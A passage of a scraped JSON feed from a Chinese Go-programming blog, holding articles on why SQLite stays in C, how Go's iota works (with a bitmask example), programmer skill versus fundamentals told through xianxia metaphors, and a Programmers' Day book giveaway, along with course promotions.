Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-guide/\" title=\"Google Go语言编码风格规范：指南篇\"\u003eGoogle Go语言编码风格规范：指南篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-decisions/\" title=\"Google Go语言编码风格规范：决定篇\"\u003eGoogle Go语言编码风格规范：决定篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-best-practices/\" title=\"Google Go语言编码风格规范：最佳实践篇\"\u003eGoogle Go语言编码风格规范：最佳实践篇\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/go-course-faq/\" title=\"Go语言第一课FAQ\"\u003eGo语言第一课FAQ\u003c/a\u003e\u003c/p\u003e","title":"Go 模块构建与依赖管理：我们到底在“折腾”什么？"},{"content":"\n本文永久链接 – https://tonybai.com/2025/10/26/sqlite-say-no-to-go-and-rust\n大家好，我是Tony Bai。1024程序员节赠书活动火热进行中，希望大家踊跃参与，赢取自己的幸运！\n在当今的软件工程界，“内存安全”已成为一种近乎道德正确的政治正确。Go 和 Rust 等现代“安全语言”，凭借其在编译期消除一整类危险 Bug 的能力，被誉为是 C/C++ 等“不安全”语言的终极替代者。然而，在这个看似不可阻挡的浪潮中，一个响亮的“不”字，却来自一个最意想不到、也最令人无法忽视的角落——SQLite。\nSQLite，这个星球上部署最广泛的数据库引擎，顽固地坚守着 C 语言阵地。近日，其官网一篇详细阐述“Why Is SQLite Coded In C”的文章，在 Hacker News 等技术社区引发了轩然大波。\n摘自官方SQLite官方文档 这篇文章，如同一把锋利的手术刀，无情地划开了“安全语言”耀眼的光环，为我们揭示了其背后，在极端可靠性工程中所面临的、不为人知的工程现实。这不再是一场简单的语言之争，而是一次对“安全”真正含义的深刻追问。\n“安全语言”的光环：我们所相信的“神话” 在深入 SQLite 的论据之前，让我们先回顾一下“安全语言”带给我们的美好承诺：\n消除未定义行为 (Undefined Behavior)：杜绝数组越界、空指针解引用、use-after-free 等一系列在 C/C++ 中臭名昭著的内存安全漏洞。 提升开发者生产力：通过垃圾回收 (Go) 或所有权系统 (Rust)，将开发者从繁琐的手动内存管理中解放出来。 更强大的抽象能力：提供更现代的语言特性，帮助构建更易于维护的系统。 这个光环是如此耀眼，以至于“为什么不用 Rust/Go 重写 XX？”已经成为了技术社区的日常拷问。\nSQLite 的拷问：光环之下的工程现实 SQLite 团队的论点，并非源于对新技术的抗拒，而是基于数十年如一日、为航空电子设备等“生命攸关”系统构建软件所积累的独特工程哲学。他们提出的每一个“不”，都是对“安全语言”光环的一次现实拷问。\n拷问一：成熟度与历史债务——被充分测试的“不安全” vs. 未知的新 Bug 光环：用安全语言重写，可以消除所有内存安全 Bug。\n现实：SQLite 拥有一个经过数十年、数万亿次测试验证的 C 代码库。将其用一门全新的语言重写，即便能消除旧的内存安全问题，也**“几乎肯定会引入远比修复的 Bug 更多的、全新的逻辑 Bug”**。\n社区的普遍共识印证了这一点：一个成熟、稳定、经过极限测试的 C 代码库，其在现实世界中的可靠性，可能远超一个用“安全语言”草率重写的新版本。正如 Google 安全博客所言：“代码会随着时间的推移而成熟并变得更安全。”\n拷问二：对 OOM 的态度——优雅降级 vs. 直接放弃 光环：安全语言通过在出错时快速失败 (fail-fast) 来保证系统状态的一致性。\n现实：“安全语言通常在遇到内存不足 (OOM) 的情况时，会选择中止 (abort) 程序。” SQLite 的应用场景（如飞行器软件、嵌入式设备）决定了它必须具备在极端条件下尽力恢复、优雅降级的能力，而不是简单地崩溃。SQLite 团队认为，目前的安全语言，在提供这种精细化的、可从 OOM 中恢复的机制方面，尚不明确。对于一个嵌入在飞行控制系统中的数据库而言，“崩溃”从来不是一个可接受的选项。\n拷问三：对 Go 的不信任——消失的 assert() 光环：Go 的显式错误处理 (if err != nil) 比 C 的断言 (assert()) 更健壮。\n现实：SQLite 的开发哲学，严重依赖 assert() 来守护那些“理论上永不应该发生”的内部不变量。这些断言在开发和测试构建中被启用，但在生产构建中则被彻底编译掉，以追求极致性能。Go 语言的设计哲学**“讨厌 assert()”**，它不提供这种条件编译的能力，坚持所有检查都必须在运行时存在。这种哲学上的根本分歧，使得 Go 从一开始就不在 SQLite 的考虑范围之内。\n摘自官方Go FAQ\n拷问四：对 Rust 的终极挑战——100% 分支覆盖率的“诅咒” 这是 SQLite 提出的最具争议、也最深刻的一个论点，直接挑战了“安全语言”编译器的核心行为。\n光环：编译器自动插入的安全检查（如数组边界检查）是内存安全的基石。\n现实：\n“安全语言会插入额外的机器码分支，来做诸如数组边界检查之类的事情。在正确的代码中，这些分支永远不会被执行。这意味着，生成的机器码无法达到 100% 的分支测试覆盖率，而这恰恰是 SQLite 质量策略的一个重要组成部分。”\n这个论点在社区中引发了激烈的辩论。其核心在于两种截然不同的信任哲学：\n安全语言的信任哲学：信任编译器。编译器插入的 panic 分支是“安全带”，它们保证了即使在最坏的情况下，程序也不会陷入比 panic 更糟糕的未定义行为。 SQLite 的信任哲学：只信任测试。他们追求的是对最终生成的每一个二进制指令进行 100% 的分支覆盖测试。如果编译器“偷偷”加入了他们无法在正常测试中触发的、理论上“不可达”的 panic 分支，那么这份测试的完备性就被打破了。对于 SQLite 而言，一个未经测试的代码分支，就是一个潜在的“宇宙射线位翻转”或未知 CPU bug 的攻击面。 SQLite 选择的是确定性的、可被完全验证的“不安全”，而非带有未知“黑盒”分支的“安全”。\nGo 在 SQLite 世界中的真实位置 尽管 SQLite 官方对 Go 持保留态度，但 Go 社区除了通过go-sqlite3这个sqlite的go wrapper来提供直接的sqlite使用支持外，还通过另一种方式拥抱了 SQLite。modernc.org/sqlite 是一个备受关注的项目，它通过一个惊人的工程壮举——将 C 代码移植为 Go 代码——实现了一个纯 Go 版的 SQLite。\n优点：提供了极大的便利，让 Go 开发者可以不依赖 CGO 就使用 SQLite，从而享受简单的交叉编译和静态部署。 缺点：性能相比原生 C 版本有下降。 这个真实案例，恰好从侧面印证了 SQLite 官方“重写可能会导致代码变慢”的担忧。\n小结：工程没有“神话”，只有“权衡” SQLite 的故事，并非是对 Go 或 Rust 的全盘否定。Go 和 Rust 在它们所设计的领域——尤其是网络服务和现代应用开发中——其提供的内存安全保障无疑是巨大的进步，并且已经阻止了无数潜在的安全漏洞。\n然而，SQLite 以其自身在极端可靠性领域的独特实践，向我们揭示了一个深刻的道理：技术选型中不存在普适的“最佳实践”，只存在特定“上下文” (Context) 下的最优解。\n“安全语言”的光环，在 SQLite 严苛的、基于二进制验证的工程现实面前，暴露出了一些不曾被主流开发者所审视的权衡：\n成熟度 vs. 理论安全 可恢复性 vs. 快速失败 完全可测性 vs. 编译器保障 这场辩论提醒我们，作为工程师，我们必须警惕任何形式的技术“原教旨主义”。在“安全”这个看似不容置疑的优点面前，SQLite 勇敢地追问：“为了这份‘安全’，我们付出了什么代价？这份代价，在我所在的场景下，是否值得？”\n这，或许就是 SQLite 这块用 C 语言精心打磨了四分之一个世纪的“活化石”，在今天能教给我们的、比任何数据库技术都更宝贵的工程智慧。\n资料链接：\nhttps://news.ycombinator.com/item?id=45584464 https://www.sqlite.org/whyc.html 你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n想系统学习Go，构建扎实的知识体系？\n我的新书《Go语言第一课》是你的首选。源自2.4万人好评的极客时间专栏，内容全面升级，同步至Go 1.24。首发期有专属五折优惠，不到40元即可入手，扫码即可拥有这本300页的Go语言入门宝典，即刻开启你的Go语言高效学习之旅！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/10/26/sqlite-say-no-to-go-and-rust/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/sqlite-say-no-to-go-and-rust-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/10/26/sqlite-say-no-to-go-and-rust\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/10/26/sqlite-say-no-to-go-and-rust\"\u003ehttps://tonybai.com/2025/10/26/sqlite-say-no-to-go-and-rust\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003ca href=\"https://mp.weixin.qq.com/s?__biz=MzIyNzM0MDk0Mg==\u0026amp;mid=2247502822\u0026amp;idx=1\u0026amp;sn=006cb310d49354f7c4640cd5ede0450e\u0026amp;scene=21#wechat_redirect\"\u003e1024程序员节赠书活动\u003c/a\u003e火热进行中，希望大家踊跃参与，赢取自己的幸运！\u003c/p\u003e\n\u003cp\u003e在当今的软件工程界，“内存安全”已成为一种近乎道德正确的政治正确。Go 和 Rust 等现代“安全语言”，凭借其在编译期消除一整类危险 Bug 的能力，被誉为是 C/C++ 等“不安全”语言的终极替代者。然而，在这个看似不可阻挡的浪潮中，一个响亮的“不”字，却来自一个最意想不到、也最令人无法忽视的角落——SQLite。\u003c/p\u003e","title":"SQLite 对 Go 和 Rust 说“不”：揭示“安全语言”光环下的工程现实"},{"content":"\n本文永久链接 – https://tonybai.com/2025/10/25/go-iota-flaw-or-magic\n大家好，我是Tony Bai。\n“我一直在 DUNK Go，因为我觉得它是一门糟糕的语言。但我从未意识到，它比无底的绝望深渊还要深。这TMD是啥？”\n近日，一条关于 Go 语言 iota 的“咆哮”推文在开发者社区引发了热议。推文作者 Dmitrii Kovanikov 贴出了一张看似极其复杂、反直觉的 iota 计算示例（如下图），并将其作为 Go 语言设计糟糕的“罪证”。\n这种对 iota 的困惑，几乎是每一位 Gopher 在学习之路上都曾遇到过的“成年礼”。它那看似“不合逻辑”的行为，让许多初学者和来自其他语言的开发者感到费解，甚至愤怒。那么，iota 究竟是一个彻头彻尾的设计缺陷，还是一种被误解了的**“黑魔法”**？\n本文将从这条“咆哮”推文出发，深入 iota 的内核，在这场关于设计的辩论中，为你揭示其背后隐藏的逻辑与哲学。\niota 是一个“设计缺陷”吗？ 让我们首先站在这位“咆哮”的开发者一边，审视一下 iota 为何会显得如此“反直觉”，以至于被认为是“设计缺陷”。\n“罪证”分析：令人困惑的隐式行为 推文中那张令人费解的图片，其核心在于 iota 的一个隐晦特性：\ntype Weekday int const ( Sunday Weekday = iota + 1 // iota=0, 表达式=\u0026#34;iota+1\u0026#34;, Sunday=1 _ // iota=1, 沿用表达式\u0026#34;iota+1\u0026#34;, 值为2, 但被丢弃 Monday // iota=2, 沿用表达式\u0026#34;iota+1\u0026#34;, Monday=3 // ... ) 对于习惯了显式声明的程序员来说，这里的 _ 和 Monday 的值是如何计算出来的，完全是一个谜。iota 的值似乎在以一种不可预测的方式跳跃。这种“不写代码，代码却在运行”的感觉，正是“魔法”一词的负面含义——不可预测、难以推理。\n核心论点：违反了“最小惊讶原则” “最小惊讶原则”(Principle of Least Astonishment) 是软件设计中的一条重要准则，即代码的行为应该尽可能符合开发者的直觉和预期。\n从这个角度看，iota 似乎是一个失败的设计：\n隐式重复：如果一个常量声明没有赋值，编译器会自动重复上一行的表达式。这个规则本身就不那么广为人知。 动态的值：iota 不是一个真正意义上的常量，它的值在 const 块的每一行都会变化。 当这两个特性叠加在一起时，就创造出了一个需要用户记住多重隐式规则才能正确使用的“黑盒”。对于初学者而言，这无疑是一个巨大的认知负担，也是一个容易出错的陷阱。因此，“设计缺陷”的指控，并非空穴来风。\niota 是一种被误解的“黑魔法” 现在，让我们切换视角，看看为什么 Go 社区的资深开发者们，普遍认为 iota 不仅不是缺陷，反而是一种优雅的“黑魔法”。\n揭开魔法的面纱：两大核心法则 要理解 iota 的所有行为，你只需要掌握两大核心法则，它们简单、一致且没有例外：\niota 是行索引：在一个 const 块中，iota 的值就是它所在的行号（从 0 开始）。每当遇到一个新的 const 关键字，iota 就会重置为 0。 表达式隐式重复：如果一个常量声明没有赋值，编译器会自动重复上一行的表达式，而不是值。 一旦你理解了这两条规则，iota 的所有行为就从“魔法”变成了“逻辑”。之前那个令人困惑的例子，其计算过程变得完全透明：\nSunday 所在行 iota=0，表达式是 iota + 1，所以 Sunday=1。 _ 所在行 iota=1，隐式重复表达式 iota + 1，所以值为 1 + 1 = 2。 Monday 所在行 iota=2，隐式重复表达式 iota + 1，所以值为 2 + 1 = 3。 …以此类推。 iota 并非不可预测，它只是要求你学习一套不同于其他语言的、新的心智模型。\n“黑魔法”的终极形态：位掩码 (Bitmasks) 如果 iota 仅仅用于创建递增枚举，那还不足以称之为“黑魔法”。iota 的终极威力，体现在它与位运算的完美结合上，特别是在创建位掩码时。\npackage main import \u0026#34;fmt\u0026#34; type Permission uint8 const ( // \u0026#34;1 \u0026lt;\u0026lt; iota\u0026#34; 这个表达式，与 iota 的递增完美结合 PermissionRead Permission = 1 \u0026lt;\u0026lt; iota // 1 \u0026lt;\u0026lt; 0 = 1 (00000001) PermissionWrite // 隐式重复 \u0026#34;1 \u0026lt;\u0026lt; iota\u0026#34;，iota=1, 结果为 2 (00000010) PermissionExecute // iota=2, 结果为 4 (00000100) PermissionAdmin // iota=3, 结果为 8 (00001000) ) func main() { var userPermissions Permission = PermissionRead | PermissionWrite fmt.Printf(\u0026#34;User has Read and Write: %08b\\n\u0026#34;, userPermissions) hasExecute := (userPermissions \u0026amp; PermissionExecute) != 0 fmt.Printf(\u0026#34;Can user execute? %t\\n\u0026#34;, hasExecute) } 这个模式极其强大、高效且地道。它将 iota 从一个简单的“计数器”，升华为一个生成指数序列的“引擎”，完美地契合了位掩码的需求。这种简洁的表达力，是其他语言难以企及的。这才是 iota 设计的“神来之笔”。\n小结：设计的权衡 那么，iota 究竟是设计缺陷，还是“黑魔法”？\n我的结论是：它两者皆是，又两者皆非。\niota 的故事，是 Go 语言设计哲学的一次完美缩影：它愿意牺牲一点点的“立即可理解性”，来换取在特定模式下的极致简洁和强大。\n对于初见者，它确实像一个违反直觉的**“设计缺陷”**。 对于精通者，它则是一个能够四两拨千斤的**“黑魔法”**。 Go 的设计者们做出了一个明确的权衡：他们相信，为“枚举”和“位掩码”这两个常见场景，提供一个统一、强大且富有表达力的核心原语，其长期收益，远大于它给初学者带来的短期困惑。\n当然，一篇技术文章的篇幅终究有限。如果你希望系统性地掌握 iota 的所有用法，彻底告别类似的困惑，并深入 Go 语言的每一个核心特性，那么，我的极客时间专栏《Go 语言第一课》正是为你准备的。 在这个专栏中，我用了整整一讲，从最基础的行索引，到隐式重复的规则，再到高级的位掩码应用，抽丝剥茧地为你彻底讲透 iota 的前世今生。我相信，看完了这一课的 Gopher，绝不会再发出类似的“咆哮”。\n此外，对于偏爱墨香和实体书质感的小伙伴，我的**《Go语言第一课》同名纸质版图书**也已上市。恰逢双十一大促，各大电商平台均有全年难得的低价优惠，正是入手这本“Go 语言入坑宝典”的最佳时机，机会不容错过！\n无论你是希望通过极客时间专栏系统学习，还是在纸页间细细品味，现在都是将你对 Go 的零散认知，构建成坚不可摧的知识体系的最佳时刻！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/10/25/go-iota-flaw-or-magic/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/go-iota-flaw-or-magic-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/10/25/go-iota-flaw-or-magic\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/10/25/go-iota-flaw-or-magic\"\u003ehttps://tonybai.com/2025/10/25/go-iota-flaw-or-magic\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e“我一直在 DUNK Go，因为我觉得它是一门糟糕的语言。但我从未意识到，它比无底的绝望深渊还要深。这TMD是啥？”\u003c/p\u003e\n\u003cp\u003e近日，\u003ca href=\"https://x.com/ChShersh/status/1980708246748029209\"\u003e一条关于 Go 语言 iota 的“咆哮”推文\u003c/a\u003e在开发者社区引发了热议。推文作者 Dmitrii Kovanikov 贴出了一张看似极其复杂、反直觉的 iota 计算示例（如下图），并将其作为 Go 语言设计糟糕的“罪证”。\u003c/p\u003e","title":"Go 的 iota：设计缺陷还是“黑魔法”？—— 从一条“咆哮”推文谈起"},{"content":"\n本文永久链接 – https://tonybai.com/2025/10/24/from-fanren-to-three-body-top-programmers-power\n大家好，我是Tony Bai。\n在上篇文章中，我们论道了程序员的修仙境界。但一个更深层的问题随之而来：决定一个修士（程序员）最终高度的，究竟是什么？是掌握了更多华丽的“法术”（框架/工具），还是洞悉了其背后的“天地法则”（底层原理）？\n在《凡人修仙传》的后期，韩天尊与道祖们的斗法，早已不是简单的法宝对轰，而是对时间、空间等“至尊法则”的掌控。谁对法则的理解更深，谁就能言出法随，改天换地。\n这正如《三体》中的高等文明，它们不屑于用飞船、激光炮甚至核武器，而是直接动用宇宙规律本身作为武器——一张“二向箔”，便能将整个太阳系从三维降至二维，完成终极的“降维打击”。\n回到我们的世界，程序员的“降维打击”又是什么？答案是：当大多数人还在钻研“术”（框架、API）的层面时，顶尖高手早已在运用“道”（计算机科学基础法则）的力量，直击问题的本源。\n这“术”与“道”的差别，便在程序员的成长之路上，自然而然地分化出了两条截然不同的修行路线。一条是精研万千“法术”，追求招式的极致与华丽；另一条则是追本溯源，探寻那不变的“天地大道”。\n接下来，就让我们一同探寻这两条路上的风景，看看它们各自通往何方。\n“修术”与“悟道”：程序员的两条修行之路 程序员的成长，往往会分化为两条截然不同的修行路线。\n第一条路：“修术”的修士 —— 框架与API的熟练工 在修仙界，他们是勤学苦练各种“法术”的低阶修士，对“火球术”、“御风术”的咒语手诀了如指掌，能在战斗中熟练释放。但他们不知火球为何燃烧，当遇到克制其法术的敌人时，便会束手无策。\n在程序员界，他们是这样的：\n特征： 精通 Gin/Spring/Vue/React 全家桶，对各种注解、Hook、API 信手拈来，能用极高的效率搭建业务应用。他们是项目中的“突击手”，是团队快速交付的保障。 瓶颈： 知其然，不知其所以然： 遇到深层次问题，如 JVM 内存溢出、GC 频繁、数据库死锁时，他们的“法术”失灵了。因为这些问题触及了“术”背后的“法则”。 根基不稳，难以迁移： 当技术浪潮更迭，新的框架（新的“法术体系”）出现时，他们需要从头学起，过去的经验很大一部分会作废。 天花板低： 他们的工作是“实现”，而非“创造”。他们能用积木搭出华丽的城堡，但无法自己设计和制造积木。 第二条路：“悟道”的宗师 —— 法则与本源的掌控者 在修仙界，他们是韩立后期的境界，乃至道祖。他们不再拘泥于具体“法术”，想用火，便直接调动天地间的火之法则。他们甚至可以“神通自创”，因为他们理解了力量的本源。\n在程序员界，他们掌握了那些不变的“法则”：\n时间法则 -\u0026gt; 算法与复杂度： 他们深知，程序的性能瓶颈往往不在于硬件快慢，而在于算法的优劣。一个从 O(n²) 到 O(n log n) 的算法优化，胜过十倍的服务器升级。这是对程序“时间流速”的直接掌控。\n空间法则 -\u0026gt; 数据结构与内存管理： 他们能清晰地看到数据在内存中的排布，理解缓存行（Cache Line）、指针跳转如何影响性能。他们选择数据结构，如同仙人布置洞府，每一寸空间都物尽其用。这是对计算机“物理空间”的精妙运用。\n构造法则 -\u0026gt; 计算机体系结构与编译原理： 他们明白每一行高级语言，最终是如何被翻译成机器指令，在 CPU 的流水线上执行的。这种知识让他们能写出“亲和硬件”的代码，榨干硬件的每一分潜力。\n因果法则 -\u0026gt; 计算机网络与分布式理论： 他们对网络的延迟、不可靠性有着深刻的敬畏。在设计系统时，他们遵循 CAP、BASE 等“因果铁律”，而不是盲目追求不可能的“既要又要”。\n法则之力：程序员的“降维打击” 当“修术者”遇到瓶颈时，“悟道者”便会展现出碾压性的“降维打击”。\n场景一：性能优化之战 修术者： “系统慢了！赶紧加缓存！上 Redis！不行就升级服务器，从4核8G干到16核32G！” 悟道者： “我先用 profiler 分析一下。哦，原来是这里有一个嵌套循环导致了笛卡尔积。把数据结构换成哈希表，一次遍历解决。” **结果：**这是智力对算力的降维打击。 场景二：诡异 Bug 排除 修术者： “这个 Bug 时有时无，只在生产环境高并发下出现！肯定是框架的 Bug！玄学，先重启大法试试。” 悟道者： “听起来像是线程安全问题。我检查一下这里的共享变量，果然没有加锁，导致了竞态条件（Race Condition）。或者，这可能是 GC 停顿引起的。” **结果：**这是洞察力对试错法的降维打击。 场景三：技术选型决策 修术者： “我们要做新项目！必须用现在最火的微服务架构！上 Service Mesh，上云原生全家桶！” 悟道者： “我们的业务初期流量不大，团队规模也小，强上微服务会带来巨大的运维成本。一个设计良好的单体应用，更能满足当前阶段的需求。要敬畏分布式系统的因果法则。” **结果：**这是第一性原理对盲目跟风的降维打击。 如何“悟道”：从“术”到“道”的修行之路 “悟道”之路，注定是艰难而孤独的，但也是回报最丰厚的。\n心法总纲：保持好奇，永远追问“为什么？” 当你在用一个注解时，问自己：它背后是通过什么机制实现的？不要满足于“它能工作”，要去探寻“它为何能这样工作”。\n具体功法： * **重修基础，稳固道基：** 静下心来，去啃那些“无用”的经典。《深入理解计算机系统》(CSAPP)、《算法导论》、《TCP/IP详解》……这些是刻在石头上的“天地法则”，是所有“法术”的根基。 * **阅读源码，洞悉法术本源：** 去读 Gin、Spring、Netty、Redis 的源码。看懂它们，就像是亲眼目睹了一位炼器大师如何将基础材料炼制成一件惊世法宝。 * **动手造轮子，亲身证道：** 尝试自己写一个简单的 Web 服务器、一个 RPC 框架。在这个过程中，你会被迫直面那些“法则”，并想办法去驾驭它们。 * **跨界学习，他山之石：** 学习数学、物理学、控制论中的思想。你会发现，负载均衡的思想在经济学中有体现，高可用的设计哲学与生物学的冗余备份异曲同工。大道相通。 小结 从“修术”到“悟道”，不是一条非此即彼的道路，而是一个螺旋上升的过程。我们始于“术”，在实践中不断碰壁，从而激发对“道”的渴望；悟“道”之后，我们能更好地驾驭和创造新的“术”。\n在程序员的修行世界里，“修术”可以让你成为一名可靠的工程师，在宗门（公司）里安身立命。但唯有“悟道”，才能让你拥有穿越技术周期、直击问题本质的力量，成为真正定义未来的宗师，施展出属于你的“降维打击”。\n愿你我都能在代码的修行中，拨开“术”的迷雾，窥见“道”的光芒。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n想系统学习Go，构建扎实的知识体系？\n我的新书《Go语言第一课》是你的首选。源自2.4万人好评的极客时间专栏，内容全面升级，同步至Go 1.24。首发期有专属五折优惠，不到40元即可入手，扫码即可拥有这本300页的Go语言入门宝典，即刻开启你的Go语言高效学习之旅！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/10/24/from-fanren-to-three-body-top-programmers-power/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/from-fanren-to-three-body-top-programmers-power-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/10/24/from-fanren-to-three-body-top-programmers-power\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/10/24/from-fanren-to-three-body-top-programmers-power\"\u003ehttps://tonybai.com/2025/10/24/from-fanren-to-three-body-top-programmers-power\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在上篇文章中，我们论道了\u003ca href=\"https://tonybai.com/2025/09/08/fanren-xiuxian-programmer-levels\"\u003e程序员的修仙境界\u003c/a\u003e。但一个更深层的问题随之而来：决定一个修士（程序员）最终高度的，究竟是什么？是掌握了更多华丽的“法术”（框架/工具），还是洞悉了其背后的“天地法则”（底层原理）？\u003c/p\u003e\n\u003cp\u003e在《凡人修仙传》的后期，韩天尊与道祖们的斗法，早已不是简单的法宝对轰，而是对时间、空间等“至尊法则”的掌控。谁对法则的理解更深，谁就能言出法随，改天换地。\u003c/p\u003e","title":"从《凡人修仙传》到《三体》：顶尖程序员的“降维打击”与“法则”之力"},{"content":"致敬 1024 程序员节：写给奔跑在二进制世界里的你 (文末赠书) - Tony Bai Tony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n我的技术专栏\n文章列表\n致敬 1024 程序员节：写给奔跑在二进制世界里的你 (文末赠书) 十月 24, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/10/24/honoring-1024-programmers-day\n大家好，我是Tony Bai。\n今天，10 月 24 日，是一个特殊的日子。\n它并非法定假日，地图上也没有标注。但对于一群特定的人来说，这个日期本身，就是一种无需言说的默契。1024，是 2 的 10 次方，是 1KB，是我们构建整个数字世界的基石。\n它，就是属于我们程序员自己的节日——1024 程序员节。\n所以，今天这篇文章，不聊源码，不谈架构，只想写给每一个奔跑在二进制世界里的你：\n致敬那些深夜里，与 Bug 搏斗到天明的执着身影； 致敬那些显示器前，在 0 和 1 中创造出无限可能的大脑； 致敬那些用一行行代码，默默改变着世界的同行者们。 你们，值得被看见，被理解，被尊重。\n程序员的宿命：永远在学习“第一课” 作为程序员，我们的职业生涯，似乎就是一场永无止境的“学习第一课”的旅程。\n我至今仍记得自己第一次学习 C 语言时，面对指针的困惑；第一次接触并发编程时，被死锁折磨的痛苦；第一次探索 Go 语言时，被其简单哲学所震撼的喜悦。\n无论是学习一门新语言，还是掌握一个新框架，亦或是理解一种新的架构思想，我们总是在不断地“清空自己”，以一个初学者的心态，回到“第一课”的起点。\n这正是这个职业最磨人、也最迷人的地方。它强迫我们保持好奇，持续奔跑，永不僵化。\n我将我的极客时间专栏《Go语言第一课》沉淀成书，正是源于对这份“程序员宿命”的深刻理解。我希望它不仅仅是教你一门语言的语法，更是想为你提供一套坚实的、可信赖的、能够举一反三的学习体系和思维范式。它是我作为一个“长期主义”布道者，希望能为你的下一段“第一课”之路，铺下的一块最坚固的基石。\n灵魂拷问：AI 时代，我们还需要“第一课”吗？ 我知道，很多人心里都有一个疑问：在 AI 如此强大的今天，我们似乎可以随时跳过所有“第一课”，直接向 AI 要答案。那么，系统性的学习是否已经过时？\n作为一名同样深度使用 AI 的工程师，我的答案是：不，恰恰相反，在这个时代，扎实的“第一课”比以往任何时候都更加重要。\nAI 是“陪练”，不是“内功心法”。 它可以极大地加速我们实现想法的过程，但它无法替代我们建立知识体系的“内功”修炼。它能告诉你“是什么”，却很少能告诉你“为什么”。\n我看到太多的初级工程师，在 AI 带来的“我什么都行”的幻觉中，陷入了“知其然，不知其所以然”的困境。这种“能力空心化”，会在未来的某个时刻，成为职业生涯中难以逾越的瓶颈。\n而系统性地学习一本好的入门书，正是在 AI 时代对抗这种“能力空心化”、构建自己不可替代核心竞争力的最佳途径。它强迫你去理解代码背后的设计哲学、核心原理和权衡取舍，而这些，恰恰是 AI 无法生成的、属于你自己的智慧。\n节日献礼：送你一本签名的《Go语言第一课》！ 在这个属于我们自己的节日里，我想用一份最“硬核”的礼物，来回馈大家一直以来的支持，也为每一位仍在奔跑的同行者，加一次油，充一次电。\n我准备了 2 本我的亲笔签名版《Go语言第一课》，送给我的读者们。\n【参与方式】\n点击此链接进入我的公众号文章，分享文章，转发朋友圈，并在本文评论区留言，说说你作为程序员最难忘的一个瞬间/故事，或者你对程序员这个职业最深的思考。\n它可以是一次通宵排查 Bug 后的豁然开朗，可以是自己的代码被千万用户使用时的成就感，也可以是对这个行业未来的迷茫与期许。\n【抽奖规则】\n我将从所有留言中，精选 2 条最走心、最能打动我的分享，每人赠送一本我的亲笔签名版《Go语言第一课》！\n【活动截止时间】\n2025年10月31日 23:59\n期待在留言区，看到你的故事。\n行动号召：为你的热爱，充一次电！ 当然，节日的福利属于每一个人。\n如果你不想等待抽奖，或者想把这份礼物送给身边正在学习 Go 的朋友，现在就是最好的时机。双十一促销已经启动，各大电商平台的五折购书折扣都是全年最低。不到 40 元，即可拥有这本经过 2.4w 人验证、300 多页的 Go 入门宝典。\n图书勘误与配套代码：https://github.com/bigwhite/goprimer 小结：愿我们永远奔跑 最后，再次向每一位奔跑在二进制世界里的同行者致敬。\n愿你的代码永远优雅，愿你的编译永远通过，愿你的创造力永不枯竭，愿你的 err 永远为 